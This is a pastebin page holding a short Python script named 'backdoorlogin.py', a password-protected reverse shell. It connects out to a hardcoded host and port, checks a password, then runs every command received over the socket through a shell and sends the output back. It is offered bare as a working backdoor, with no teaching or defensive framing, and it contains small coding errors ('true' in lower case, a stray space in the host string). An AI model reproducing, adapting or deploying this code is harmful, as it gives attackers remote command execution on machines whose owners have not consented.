ulvis.paste.net

Paste Search Dynamic
Recent pastes
backdoorlogin.py
  1. import subprocess
  2. import socket
  3.  
  4.  
  5. host="192.168.1.219 "
  6. port=40747
  7. passwd="jtyxxz446"
  8.  
  9. def  Login( ):
  10.         global s
  11.         s.send ("Login: ")
  12.         pwd=s.recv (1024)
  13.        
  14.         if pwd.strip ( ) != passwd:
  15.             Login( )
  16.         else:
  17.                s.send("Connected #> " )
  18.                Shell ( )
  19.  
  20. def  Shell( ) :
  21.         while true:
  22.                data = s.recv(1024)
  23.                
  24.                if data.strip( ) == (":kill"):
  25.                 break
  26.                
  27.                proc=subprocess.Popen \
  28.                (data,shell=true,stdout=subprocess.PIPE \
  29.                ,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
  30.                output = proc.stdout.read( ) + proc.stderr.read( )
  31.                s.send(output)
  32.                s.send(" #> ")
  33.                
  34. s = socket.socket(socket.AF_INET,  socket.SOCK_STREAM)
  35. s.connect((host, port))
  36. Login( )
Parsed in 0.008 seconds